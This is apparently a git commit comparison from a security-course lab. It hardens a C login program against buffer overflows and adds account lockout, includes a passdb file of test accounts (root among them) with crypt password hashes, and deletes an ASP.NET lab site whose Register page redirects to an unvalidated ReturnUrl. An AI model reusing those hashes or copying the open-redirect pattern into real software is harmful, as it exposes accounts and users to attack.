Compare commits
6 Commits
master
...
dontwantto
Author | SHA1 | Date | |
---|---|---|---|
|
ef66510e59 | ||
|
87082d5d5e | ||
|
61382316d9 | ||
|
e88465c2c9 | ||
|
51880f5428 | ||
|
383abfc185 |
@ -2,6 +2,10 @@
|
||||
|
||||
/* gcc -std=gnu99 -Wall -g -o mylogin login_linux.c -lcrypt */
|
||||
|
||||
/* Note, makepass.c is first used to create hashed password
|
||||
then, info is manually saved in file passdb */
|
||||
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
@ -12,27 +16,22 @@
|
||||
#include <sys/types.h>
|
||||
#include <crypt.h>
|
||||
#include "pwent.h" /* Step 2 */
|
||||
#include <termios.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#define TRUE 1
|
||||
#define FALSE 0
|
||||
#define LENGTH 16
|
||||
|
||||
void sighandler() {
|
||||
//sigset_t mask;
|
||||
//sigfillset(&mask);
|
||||
//sigprocmask(SIG_SETMASK, &mask, NULL);
|
||||
|
||||
signal(SIGINT, SIG_IGN); /* This will catch ctrl+c and ignore it*/
|
||||
//signal(SIGTSTP, SIG_IGN); /* This will catch ctrl+z and ignore it*/
|
||||
/* add signalhandling routines here */
|
||||
/* see 'man 2 signal' */
|
||||
signal(SIGTSTP, SIG_IGN); /* This will catch ctrl+z and ignore it*/
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
|
||||
//struct passwd *passwddata /* Step 1 */
|
||||
mypwent *passwddata; /* Step 2 */
|
||||
/* see pwent.h */
|
||||
mypwent *passwddata;
|
||||
|
||||
char important1[LENGTH] = "**IMPORTANT 1**";
|
||||
|
||||
@ -40,9 +39,7 @@ int main(int argc, char *argv[]) {
|
||||
|
||||
char important2[LENGTH] = "**IMPORTANT 2**";
|
||||
|
||||
//char *c_pass; //you might want to use this variable later...
|
||||
char prompt[] = "password: ";
|
||||
char *user_pass;
|
||||
char user_pass[LENGTH];
|
||||
|
||||
sighandler();
|
||||
|
||||
@ -53,15 +50,29 @@ int main(int argc, char *argv[]) {
|
||||
printf("Value of variable 'important2' before input of login name: %s\n",
|
||||
important2);
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
printf("login: ");
|
||||
fflush(NULL); /* Flush all output buffers */
|
||||
__fpurge(stdin); /* Purge any data in stdin buffer */
|
||||
|
||||
bool okusername = true;
|
||||
/* using fgets instead of gets to avoid buffer overflow attacks*/
|
||||
if (fgets(user,sizeof(user),stdin) == NULL ) {
|
||||
clearerr(stdin); //if EOF only, clear error
|
||||
continue; ///* overflow attacks. */
|
||||
clearerr(stdin);
|
||||
okusername = false;
|
||||
}
|
||||
user[strlen(user)-1] = '\0'; //replacing \n with \0
|
||||
|
||||
if (strlen(user) == sizeof(user)-1 || strlen(user) == 1){
|
||||
// too long username or no username was entered
|
||||
okusername = false;
|
||||
}
|
||||
else{
|
||||
// replacing \n with \0
|
||||
user[strcspn(user,"\n")] = '\0';
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
/* check to see if important variable is intact after input of login name - do not remove */
|
||||
printf("Value of variable 'important 1' after input of login name: %*.*s\n",
|
||||
@ -69,52 +80,102 @@ int main(int argc, char *argv[]) {
|
||||
printf("Value of variable 'important 2' after input of login name: %*.*s\n",
|
||||
LENGTH - 1, LENGTH - 1, important2);
|
||||
|
||||
// using makepass.c to create hashed password -> saving it manually in passdb
|
||||
//////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
user_pass = getpass(prompt); //enter password using deprecated function :/
|
||||
passwddata = mygetpwnam(user); //get user info from passdb
|
||||
// using termios instead of the outdated getpass for a more secure program
|
||||
// user_pass = getpass(prompt);
|
||||
|
||||
struct termios old_term_flags, new_term_flags;
|
||||
|
||||
/* Turn echoing off so password will not be shown in terminal */
|
||||
if (tcgetattr(fileno(stdin), &old_term_flags) != 0){
|
||||
perror("Error");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
new_term_flags = old_term_flags;
|
||||
new_term_flags.c_lflag &= ~ECHO;
|
||||
if (tcsetattr(fileno(stdin), TCSAFLUSH, &new_term_flags) != 0) {
|
||||
perror("Error");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
bool okpassword = true;
|
||||
printf("password: ");
|
||||
if (fgets(user_pass,sizeof(user_pass),stdin) == NULL ) {
|
||||
clearerr(stdin);
|
||||
okpassword = false;
|
||||
}
|
||||
if (strlen(user_pass) == sizeof(user_pass)-1 || strlen(user_pass) == 1){
|
||||
okpassword = false;
|
||||
}
|
||||
|
||||
/* Restore terminal */
|
||||
if (tcsetattr(fileno(stdin), TCSAFLUSH, &old_term_flags) != 0) {
|
||||
perror("Error");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!okpassword || !okusername){
|
||||
printf("\nLogin Incorrect \n \n");
|
||||
continue;
|
||||
}
|
||||
user_pass[strcspn(user_pass, "\n")] = '\0'; // replacing \n with \0
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
// get user info from passdb
|
||||
passwddata = mygetpwnam(user);
|
||||
|
||||
if (passwddata != NULL) {
|
||||
/* You have to encrypt user_pass for this to work */
|
||||
/* Don't forget to include the salt */
|
||||
|
||||
if (passwddata->pwfailed >= 10) {
|
||||
printf("\nToo many failed login attempts. Your account has been locked.\nContact and Admin to unlock your account.\n");
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Encryp user_pass with salt included */
|
||||
char *user_pass_encrypted = crypt(user_pass, passwddata->passwd_salt);
|
||||
if (&user_pass_encrypted == NULL) {
|
||||
if (user_pass_encrypted == NULL) {
|
||||
perror("Error");exit(EXIT_FAILURE);
|
||||
}
|
||||
printf("encryption of typed pass: %s \n", user_pass_encrypted);
|
||||
if (passwddata->pwfailed >= 10) {
|
||||
printf("Too many failed login attempts. Your account has been locked.\nContact and Admin to unlock your account.\n");
|
||||
} else if (!strcmp(user_pass_encrypted, passwddata->passwd)) {
|
||||
|
||||
printf(" You're in !\n");
|
||||
if (!strcmp(user_pass_encrypted, passwddata->passwd)) {
|
||||
// successfull login
|
||||
printf("\n%d failed attemts to login \n",passwddata->pwfailed);
|
||||
passwddata->pwfailed = 0;
|
||||
passwddata->pwage = passwddata->pwage + 1;
|
||||
if (mysetpwent(user, passwddata) < 0) { /* execute the command */
|
||||
|
||||
if (mysetpwent(user, passwddata) < 0) {
|
||||
perror("Error");exit(EXIT_FAILURE);
|
||||
}
|
||||
if (passwddata->pwage > 100) {
|
||||
printf(" Your password is OLD!!!!\n");
|
||||
if (passwddata->pwage > 10) {
|
||||
printf("You need to change your password !\n");
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* check UID, see setuid(2) */
|
||||
|
||||
if (setuid(passwddata->uid) < 0) { /* execute the command */
|
||||
perror("Error");exit(EXIT_FAILURE);
|
||||
if (setuid(passwddata->uid) < 0) { //replace this with the ID of the user running the program if you don't have sudo rights
|
||||
perror("Error");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
/* start a shell, use execve(2) */
|
||||
if (execve("/bin/bash",NULL,NULL) < 0) { /* execute the command */
|
||||
perror("Error");exit(EXIT_FAILURE);
|
||||
if (execve("/bin/bash",NULL,NULL) < 0) {
|
||||
perror("Error");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
} else {
|
||||
printf("\nWelcome to this system !\n");
|
||||
}
|
||||
else {
|
||||
// user name exists but password does not match
|
||||
passwddata->pwfailed = passwddata->pwfailed + 1;
|
||||
if (mysetpwent(user, passwddata) < 0) { /* execute the command */
|
||||
perror("Error");exit(EXIT_FAILURE);
|
||||
if (mysetpwent(user, passwddata) < 0) {
|
||||
perror("Error");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
}
|
||||
printf("Login Incorrect \n");
|
||||
printf("\nLogin Incorrect \n \n");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
@ -1,4 +1,4 @@
|
||||
test:123452345:12JvVkeJRgm8A:12:0:19
|
||||
test:123452345:12JvVkeJRgm8A:12:0:12
|
||||
user:223452345234:eePlF4X0jdYYM:ee:0:0
|
||||
felix:323453245:aa9rcO1hTpP/I:aa:11:5
|
||||
root:0:aa9rcO1hTpP/I:aa:0:7
|
||||
|
Binary file not shown.
BIN
lab3/cs_lab3.zip
BIN
lab3/cs_lab3.zip
Binary file not shown.
@ -1,20 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# Visual Studio 2010
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "myWebApplication", "myWebApplication\myWebApplication.csproj", "{C377A2FC-A352-4FA1-9994-906E3EAA132C}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{C377A2FC-A352-4FA1-9994-906E3EAA132C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{C377A2FC-A352-4FA1-9994-906E3EAA132C}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{C377A2FC-A352-4FA1-9994-906E3EAA132C}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{C377A2FC-A352-4FA1-9994-906E3EAA132C}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
Binary file not shown.
@ -1,60 +0,0 @@
|
||||
<%@ Page Title="Change Password" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true"
|
||||
CodeBehind="ChangePassword.aspx.cs" Inherits="myWebApplication.Account.ChangePassword" %>
|
||||
|
||||
<asp:Content ID="HeaderContent" runat="server" ContentPlaceHolderID="HeadContent">
|
||||
</asp:Content>
|
||||
<asp:Content ID="BodyContent" runat="server" ContentPlaceHolderID="MainContent">
|
||||
<h2>
|
||||
Change Password
|
||||
</h2>
|
||||
<p>
|
||||
Use the form below to change your password.
|
||||
</p>
|
||||
<p>
|
||||
New passwords are required to be a minimum of <%= Membership.MinRequiredPasswordLength %> characters in length.
|
||||
</p>
|
||||
<asp:ChangePassword ID="ChangeUserPassword" runat="server" CancelDestinationPageUrl="~/" EnableViewState="false" RenderOuterTable="false"
|
||||
SuccessPageUrl="ChangePasswordSuccess.aspx">
|
||||
<ChangePasswordTemplate>
|
||||
<span class="failureNotification">
|
||||
<asp:Literal ID="FailureText" runat="server"></asp:Literal>
|
||||
</span>
|
||||
<asp:ValidationSummary ID="ChangeUserPasswordValidationSummary" runat="server" CssClass="failureNotification"
|
||||
ValidationGroup="ChangeUserPasswordValidationGroup"/>
|
||||
<div class="accountInfo">
|
||||
<fieldset class="changePassword">
|
||||
<legend>Account Information</legend>
|
||||
<p>
|
||||
<asp:Label ID="CurrentPasswordLabel" runat="server" AssociatedControlID="CurrentPassword">Old Password:</asp:Label>
|
||||
<asp:TextBox ID="CurrentPassword" runat="server" CssClass="passwordEntry" TextMode="Password"></asp:TextBox>
|
||||
<asp:RequiredFieldValidator ID="CurrentPasswordRequired" runat="server" ControlToValidate="CurrentPassword"
|
||||
CssClass="failureNotification" ErrorMessage="Password is required." ToolTip="Old Password is required."
|
||||
ValidationGroup="ChangeUserPasswordValidationGroup">*</asp:RequiredFieldValidator>
|
||||
</p>
|
||||
<p>
|
||||
<asp:Label ID="NewPasswordLabel" runat="server" AssociatedControlID="NewPassword">New Password:</asp:Label>
|
||||
<asp:TextBox ID="NewPassword" runat="server" CssClass="passwordEntry" TextMode="Password"></asp:TextBox>
|
||||
<asp:RequiredFieldValidator ID="NewPasswordRequired" runat="server" ControlToValidate="NewPassword"
|
||||
CssClass="failureNotification" ErrorMessage="New Password is required." ToolTip="New Password is required."
|
||||
ValidationGroup="ChangeUserPasswordValidationGroup">*</asp:RequiredFieldValidator>
|
||||
</p>
|
||||
<p>
|
||||
<asp:Label ID="ConfirmNewPasswordLabel" runat="server" AssociatedControlID="ConfirmNewPassword">Confirm New Password:</asp:Label>
|
||||
<asp:TextBox ID="ConfirmNewPassword" runat="server" CssClass="passwordEntry" TextMode="Password"></asp:TextBox>
|
||||
<asp:RequiredFieldValidator ID="ConfirmNewPasswordRequired" runat="server" ControlToValidate="ConfirmNewPassword"
|
||||
CssClass="failureNotification" Display="Dynamic" ErrorMessage="Confirm New Password is required."
|
||||
ToolTip="Confirm New Password is required." ValidationGroup="ChangeUserPasswordValidationGroup">*</asp:RequiredFieldValidator>
|
||||
<asp:CompareValidator ID="NewPasswordCompare" runat="server" ControlToCompare="NewPassword" ControlToValidate="ConfirmNewPassword"
|
||||
CssClass="failureNotification" Display="Dynamic" ErrorMessage="The Confirm New Password must match the New Password entry."
|
||||
ValidationGroup="ChangeUserPasswordValidationGroup">*</asp:CompareValidator>
|
||||
</p>
|
||||
</fieldset>
|
||||
<p class="submitButton">
|
||||
<asp:Button ID="CancelPushButton" runat="server" CausesValidation="False" CommandName="Cancel" Text="Cancel"/>
|
||||
<asp:Button ID="ChangePasswordPushButton" runat="server" CommandName="ChangePassword" Text="Change Password"
|
||||
ValidationGroup="ChangeUserPasswordValidationGroup"/>
|
||||
</p>
|
||||
</div>
|
||||
</ChangePasswordTemplate>
|
||||
</asp:ChangePassword>
|
||||
</asp:Content>
|
@ -1,17 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Web;
|
||||
using System.Web.UI;
|
||||
using System.Web.UI.WebControls;
|
||||
|
||||
namespace myWebApplication.Account
|
||||
{
|
||||
public partial class ChangePassword : System.Web.UI.Page
|
||||
{
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
}
|
@ -1,26 +0,0 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace myWebApplication.Account
|
||||
{
|
||||
|
||||
|
||||
public partial class ChangePassword
|
||||
{
|
||||
|
||||
/// <summary>
|
||||
/// ChangeUserPassword control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.ChangePassword ChangeUserPassword;
|
||||
}
|
||||
}
|
@ -1,13 +0,0 @@
|
||||
<%@ Page Title="Change Password" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true"
|
||||
CodeBehind="ChangePasswordSuccess.aspx.cs" Inherits="myWebApplication.Account.ChangePasswordSuccess" %>
|
||||
|
||||
<asp:Content ID="HeaderContent" runat="server" ContentPlaceHolderID="HeadContent">
|
||||
</asp:Content>
|
||||
<asp:Content ID="BodyContent" runat="server" ContentPlaceHolderID="MainContent">
|
||||
<h2>
|
||||
Change Password
|
||||
</h2>
|
||||
<p>
|
||||
Your password has been changed successfully.
|
||||
</p>
|
||||
</asp:Content>
|
@ -1,17 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Web;
|
||||
using System.Web.UI;
|
||||
using System.Web.UI.WebControls;
|
||||
|
||||
namespace myWebApplication.Account
|
||||
{
|
||||
public partial class ChangePasswordSuccess : System.Web.UI.Page
|
||||
{
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
}
|
@ -1,17 +0,0 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace myWebApplication.Account
|
||||
{
|
||||
|
||||
|
||||
public partial class ChangePasswordSuccess
|
||||
{
|
||||
}
|
||||
}
|
@ -1,49 +0,0 @@
|
||||
<%@ Page Title="Log In" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true"
|
||||
CodeBehind="Login.aspx.cs" Inherits="myWebApplication.Account.Login" %>
|
||||
|
||||
<asp:Content ID="HeaderContent" runat="server" ContentPlaceHolderID="HeadContent">
|
||||
</asp:Content>
|
||||
<asp:Content ID="BodyContent" runat="server" ContentPlaceHolderID="MainContent">
|
||||
<h2>
|
||||
Log In
|
||||
</h2>
|
||||
<p>
|
||||
Please enter your username and password.
|
||||
<asp:HyperLink ID="RegisterHyperLink" runat="server" EnableViewState="false">Register</asp:HyperLink> if you don't have an account.
|
||||
</p>
|
||||
<asp:Login ID="LoginUser" runat="server" EnableViewState="false" RenderOuterTable="false">
|
||||
<LayoutTemplate>
|
||||
<span class="failureNotification">
|
||||
<asp:Literal ID="FailureText" runat="server"></asp:Literal>
|
||||
</span>
|
||||
<asp:ValidationSummary ID="LoginUserValidationSummary" runat="server" CssClass="failureNotification"
|
||||
ValidationGroup="LoginUserValidationGroup"/>
|
||||
<div class="accountInfo">
|
||||
<fieldset class="login">
|
||||
<legend>Account Information</legend>
|
||||
<p>
|
||||
<asp:Label ID="UserNameLabel" runat="server" AssociatedControlID="UserName">Username:</asp:Label>
|
||||
<asp:TextBox ID="UserName" runat="server" CssClass="textEntry"></asp:TextBox>
|
||||
<asp:RequiredFieldValidator ID="UserNameRequired" runat="server" ControlToValidate="UserName"
|
||||
CssClass="failureNotification" ErrorMessage="User Name is required." ToolTip="User Name is required."
|
||||
ValidationGroup="LoginUserValidationGroup">*</asp:RequiredFieldValidator>
|
||||
</p>
|
||||
<p>
|
||||
<asp:Label ID="PasswordLabel" runat="server" AssociatedControlID="Password">Password:</asp:Label>
|
||||
<asp:TextBox ID="Password" runat="server" CssClass="passwordEntry" TextMode="Password"></asp:TextBox>
|
||||
<asp:RequiredFieldValidator ID="PasswordRequired" runat="server" ControlToValidate="Password"
|
||||
CssClass="failureNotification" ErrorMessage="Password is required." ToolTip="Password is required."
|
||||
ValidationGroup="LoginUserValidationGroup">*</asp:RequiredFieldValidator>
|
||||
</p>
|
||||
<p>
|
||||
<asp:CheckBox ID="RememberMe" runat="server"/>
|
||||
<asp:Label ID="RememberMeLabel" runat="server" AssociatedControlID="RememberMe" CssClass="inline">Keep me logged in</asp:Label>
|
||||
</p>
|
||||
</fieldset>
|
||||
<p class="submitButton">
|
||||
<asp:Button ID="LoginButton" runat="server" CommandName="Login" Text="Log In" ValidationGroup="LoginUserValidationGroup"/>
|
||||
</p>
|
||||
</div>
|
||||
</LayoutTemplate>
|
||||
</asp:Login>
|
||||
</asp:Content>
|
@ -1,17 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Web;
|
||||
using System.Web.UI;
|
||||
using System.Web.UI.WebControls;
|
||||
|
||||
namespace myWebApplication.Account
|
||||
{
|
||||
public partial class Login : System.Web.UI.Page
|
||||
{
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
RegisterHyperLink.NavigateUrl = "Register.aspx?ReturnUrl=" + HttpUtility.UrlEncode(Request.QueryString["ReturnUrl"]);
|
||||
}
|
||||
}
|
||||
}
|
@ -1,35 +0,0 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace myWebApplication.Account
|
||||
{
|
||||
|
||||
|
||||
public partial class Login
|
||||
{
|
||||
|
||||
/// <summary>
|
||||
/// RegisterHyperLink control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.HyperLink RegisterHyperLink;
|
||||
|
||||
/// <summary>
|
||||
/// LoginUser control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Login LoginUser;
|
||||
}
|
||||
}
|
@ -1,75 +0,0 @@
|
||||
<%@ Page Title="Register" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true"
|
||||
CodeBehind="Register.aspx.cs" Inherits="myWebApplication.Account.Register" %>
|
||||
|
||||
<asp:Content ID="HeaderContent" runat="server" ContentPlaceHolderID="HeadContent">
|
||||
</asp:Content>
|
||||
<asp:Content ID="BodyContent" runat="server" ContentPlaceHolderID="MainContent">
|
||||
<asp:CreateUserWizard ID="RegisterUser" runat="server" EnableViewState="false" OnCreatedUser="RegisterUser_CreatedUser">
|
||||
<LayoutTemplate>
|
||||
<asp:PlaceHolder ID="wizardStepPlaceholder" runat="server"></asp:PlaceHolder>
|
||||
<asp:PlaceHolder ID="navigationPlaceholder" runat="server"></asp:PlaceHolder>
|
||||
</LayoutTemplate>
|
||||
<WizardSteps>
|
||||
<asp:CreateUserWizardStep ID="RegisterUserWizardStep" runat="server">
|
||||
<ContentTemplate>
|
||||
<h2>
|
||||
Create a New Account
|
||||
</h2>
|
||||
<p>
|
||||
Use the form below to create a new account.
|
||||
</p>
|
||||
<p>
|
||||
Passwords are required to be a minimum of <%= Membership.MinRequiredPasswordLength %> characters in length.
|
||||
</p>
|
||||
<span class="failureNotification">
|
||||
<asp:Literal ID="ErrorMessage" runat="server"></asp:Literal>
|
||||
</span>
|
||||
<asp:ValidationSummary ID="RegisterUserValidationSummary" runat="server" CssClass="failureNotification"
|
||||
ValidationGroup="RegisterUserValidationGroup"/>
|
||||
<div class="accountInfo">
|
||||
<fieldset class="register">
|
||||
<legend>Account Information</legend>
|
||||
<p>
|
||||
<asp:Label ID="UserNameLabel" runat="server" AssociatedControlID="UserName">User Name:</asp:Label>
|
||||
<asp:TextBox ID="UserName" runat="server" CssClass="textEntry"></asp:TextBox>
|
||||
<asp:RequiredFieldValidator ID="UserNameRequired" runat="server" ControlToValidate="UserName"
|
||||
CssClass="failureNotification" ErrorMessage="User Name is required." ToolTip="User Name is required."
|
||||
ValidationGroup="RegisterUserValidationGroup">*</asp:RequiredFieldValidator>
|
||||
</p>
|
||||
<p>
|
||||
<asp:Label ID="EmailLabel" runat="server" AssociatedControlID="Email">E-mail:</asp:Label>
|
||||
<asp:TextBox ID="Email" runat="server" CssClass="textEntry"></asp:TextBox>
|
||||
<asp:RequiredFieldValidator ID="EmailRequired" runat="server" ControlToValidate="Email"
|
||||
CssClass="failureNotification" ErrorMessage="E-mail is required." ToolTip="E-mail is required."
|
||||
ValidationGroup="RegisterUserValidationGroup">*</asp:RequiredFieldValidator>
|
||||
</p>
|
||||
<p>
|
||||
<asp:Label ID="PasswordLabel" runat="server" AssociatedControlID="Password">Password:</asp:Label>
|
||||
<asp:TextBox ID="Password" runat="server" CssClass="passwordEntry" TextMode="Password"></asp:TextBox>
|
||||
<asp:RequiredFieldValidator ID="PasswordRequired" runat="server" ControlToValidate="Password"
|
||||
CssClass="failureNotification" ErrorMessage="Password is required." ToolTip="Password is required."
|
||||
ValidationGroup="RegisterUserValidationGroup">*</asp:RequiredFieldValidator>
|
||||
</p>
|
||||
<p>
|
||||
<asp:Label ID="ConfirmPasswordLabel" runat="server" AssociatedControlID="ConfirmPassword">Confirm Password:</asp:Label>
|
||||
<asp:TextBox ID="ConfirmPassword" runat="server" CssClass="passwordEntry" TextMode="Password"></asp:TextBox>
|
||||
<asp:RequiredFieldValidator ControlToValidate="ConfirmPassword" CssClass="failureNotification" Display="Dynamic"
|
||||
ErrorMessage="Confirm Password is required." ID="ConfirmPasswordRequired" runat="server"
|
||||
ToolTip="Confirm Password is required." ValidationGroup="RegisterUserValidationGroup">*</asp:RequiredFieldValidator>
|
||||
<asp:CompareValidator ID="PasswordCompare" runat="server" ControlToCompare="Password" ControlToValidate="ConfirmPassword"
|
||||
CssClass="failureNotification" Display="Dynamic" ErrorMessage="The Password and Confirmation Password must match."
|
||||
ValidationGroup="RegisterUserValidationGroup">*</asp:CompareValidator>
|
||||
</p>
|
||||
</fieldset>
|
||||
<p class="submitButton">
|
||||
<asp:Button ID="CreateUserButton" runat="server" CommandName="MoveNext" Text="Create User"
|
||||
ValidationGroup="RegisterUserValidationGroup"/>
|
||||
</p>
|
||||
</div>
|
||||
</ContentTemplate>
|
||||
<CustomNavigationTemplate>
|
||||
</CustomNavigationTemplate>
|
||||
</asp:CreateUserWizardStep>
|
||||
</WizardSteps>
|
||||
</asp:CreateUserWizard>
|
||||
</asp:Content>
|
@ -1,32 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Web;
|
||||
using System.Web.Security;
|
||||
using System.Web.UI;
|
||||
using System.Web.UI.WebControls;
|
||||
|
||||
namespace myWebApplication.Account
|
||||
{
|
||||
public partial class Register : System.Web.UI.Page
|
||||
{
|
||||
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
RegisterUser.ContinueDestinationPageUrl = Request.QueryString["ReturnUrl"];
|
||||
}
|
||||
|
||||
protected void RegisterUser_CreatedUser(object sender, EventArgs e)
|
||||
{
|
||||
FormsAuthentication.SetAuthCookie(RegisterUser.UserName, false /* createPersistentCookie */);
|
||||
|
||||
string continueUrl = RegisterUser.ContinueDestinationPageUrl;
|
||||
if (String.IsNullOrEmpty(continueUrl))
|
||||
{
|
||||
continueUrl = "~/";
|
||||
}
|
||||
Response.Redirect(continueUrl);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
@ -1,35 +0,0 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace myWebApplication.Account
|
||||
{
|
||||
|
||||
|
||||
public partial class Register
|
||||
{
|
||||
|
||||
/// <summary>
|
||||
/// RegisterUser control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.CreateUserWizard RegisterUser;
|
||||
|
||||
/// <summary>
|
||||
/// RegisterUserWizardStep control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.CreateUserWizardStep RegisterUserWizardStep;
|
||||
}
|
||||
}
|
@ -1,18 +0,0 @@
|
||||
<?xml version="1.0"?>
|
||||
<configuration>
|
||||
|
||||
<location path="Register.aspx">
|
||||
<system.web>
|
||||
<authorization>
|
||||
<allow users="*"/>
|
||||
</authorization>
|
||||
</system.web>
|
||||
</location>
|
||||
|
||||
<system.web>
|
||||
<authorization>
|
||||
<deny users="?"/>
|
||||
</authorization>
|
||||
</system.web>
|
||||
|
||||
</configuration>
|
@ -1,13 +0,0 @@
|
||||
<%@ Control Language="C#" AutoEventWireup="true" CodeBehind="Buyform.ascx.cs" Inherits="myWebApplication.Buyform" %>
|
||||
|
||||
<h4>BUY STUFF</h4>
|
||||
<asp:Label ID="lblFname" runat="server" width="100px" style="padding-bottom:5px;" Text="Firstname" />
|
||||
<asp:TextBox ID="txtFname" runat="server" /><br />
|
||||
|
||||
<asp:Label ID="lblLname" runat="server" width="100px" style="padding-bottom:5px;" Text="Lastname" />
|
||||
<asp:TextBox ID="txtLname" runat="server" /><br />
|
||||
|
||||
<asp:Label ID="lblAmount" runat="server" width="100px" style="padding-bottom:5px;" Text="Amount" />
|
||||
<asp:TextBox ID="txtAmount" runat="server" /><br />
|
||||
|
||||
<asp:Button ID="btnBuy" runat="server" Text="Buy!" onclick="btnBuy_Click" />
|
@ -1,22 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Web;
|
||||
using System.Web.UI;
|
||||
using System.Web.UI.WebControls;
|
||||
|
||||
namespace myWebApplication
|
||||
{
|
||||
public partial class Buyform : System.Web.UI.UserControl
|
||||
{
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
protected void btnBuy_Click(object sender, EventArgs e)
|
||||
{
|
||||
Response.Redirect("default.aspx?page=2");
|
||||
}
|
||||
}
|
||||
}
|
@ -1,78 +0,0 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace myWebApplication {
|
||||
|
||||
|
||||
public partial class Buyform {
|
||||
|
||||
/// <summary>
|
||||
/// lblFname control.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Auto-generated field.
|
||||
/// To modify move field declaration from designer file to code-behind file.
|
||||
/// </remarks>
|
||||
protected global::System.Web.UI.WebControls.Label lblFname;
|
